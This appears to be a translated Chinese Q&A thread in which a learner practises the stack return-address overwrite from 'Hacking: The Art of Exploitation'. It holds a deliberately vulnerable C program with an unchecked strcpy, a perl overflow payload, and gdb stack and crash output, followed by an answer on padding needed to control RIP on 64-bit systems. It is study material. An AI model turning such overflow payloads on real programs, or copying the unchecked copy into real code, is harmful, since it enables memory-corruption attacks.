问题描述
我正在练习一个函数返回地址覆盖漏洞。然而,程序指令指针反而被乱码覆盖。我曾尝试使用 -fno-builtin
和 -fno-stack-protector
进行编译,但似乎没有任何改变行为。
代码(来自“Hacking the Art of Exploitation”,第 2 版,第 125 页):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
char password_buffer[16];
int auth_flag = 0;
strcpy(password_buffer,password);
if(strcmp(password_buffer,"brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer,"outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc,char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>\n",argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nAccess Denied.\n");
}
}
在调试器中运行:
run $(perl -e 'print "\x97\x62\x55\x56"x8')
此地址将在“Access Granted”的开头出现。请参阅以下 0x56556297 <+82>: add esp,0x4
处的反汇编:
0x5655627e <+57>: push eax
0x5655627f <+58>: call 0x565561d9 <check_authentication>
0x56556284 <+63>: add esp,0x4
0x56556287 <+66>: test eax,eax
0x56556289 <+68>: je 0x565562ba <main+117>
0x5655628b <+70>: lea eax,[ebx-0x1fd1]
0x56556291 <+76>: push eax
0x56556292 <+77>: call 0x56556060 <puts@plt>
0x56556297 <+82>: add esp,0x4
0x5655629a <+85>: lea eax,[ebx-0x1fb4]
0x565562a0 <+91>: push eax
0x565562a1 <+92>: call 0x56556060 <puts@plt>
0x565562a6 <+97>: add esp,0x4
0x565562a9 <+100>: lea eax,[ebx-0x1f9e]
0x565562af <+106>: push eax
0x565562b0 <+107>: call 0x56556060 <puts@plt>
字符串复制前的堆栈:
(gdb) next
9 strcpy(password_buffer,password);
(gdb) x/12x $esp
0xffffd190: 0x00000002 0xffffd264 0xffffd270 0x565562fd
0xffffd1a0: 0x00000000 0x56559000 0xffffd1b8 0x56556284
0xffffd1b0: 0xffffd429 0x00000000 0x00000000 0xf7dd6e46
(gdb)
字符串复制后的堆栈:
(gdb) next
11 if(strcmp(password_buffer,"brillig") == 0)
(gdb) x/12x $esp
0xffffd190: 0x56556297 0x56556297 0x56556297 0x56556297
0xffffd1a0: 0x56556297 0x56556297 0x56556297 0x56556297
0xffffd1b0: 0xffffd400 0x00000000 0x00000000 0xf7dd6e46
(gdb)
... 以及回溯和指令指针值导致的崩溃。
(gdb) cont
Continuing.
Program received signal SIGSEGV,Segmentation fault.
0xfdabe850 in ?? ()
(gdb) bt
#0 0xfdabe850 in ?? ()
#1 0x565562a6 in main (argc=-1159180033,argv=0x83fffffd)
at auth_overflow2.c:26
Backtrace stopped: prevIoUs frame inner to this frame (corrupt stack?)
(gdb) i r $eip
eip 0xfdabe850 0xfdabe850
(gdb)
这个“eip”的值从何而来?是否有一些我没有(或不能)关闭的高级 Linux 保护?
我正在运行:
tester@Test:/$ uname -a
Linux Test 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux
解决方法
我是在 64 位系统上做的。这是 check_authentication disassebly ,您可以在此处该函数为存储所有变量的堆栈 [sub rsp,0x20] 分配 32 字节的空间,然后您需要额外的 8 字节给你的记忆翻录。所以为了覆盖你的指令指针,你需要先填充初始的 32 个字节,然后给出你想要去的地方的地址 See here 正好有两个 'A' 被插入到 rip 中。顺便说一句,如果您正在学习,那么我建议您使用 TCC ,它会创建非常简单的输出,您可以在汇编中轻松理解。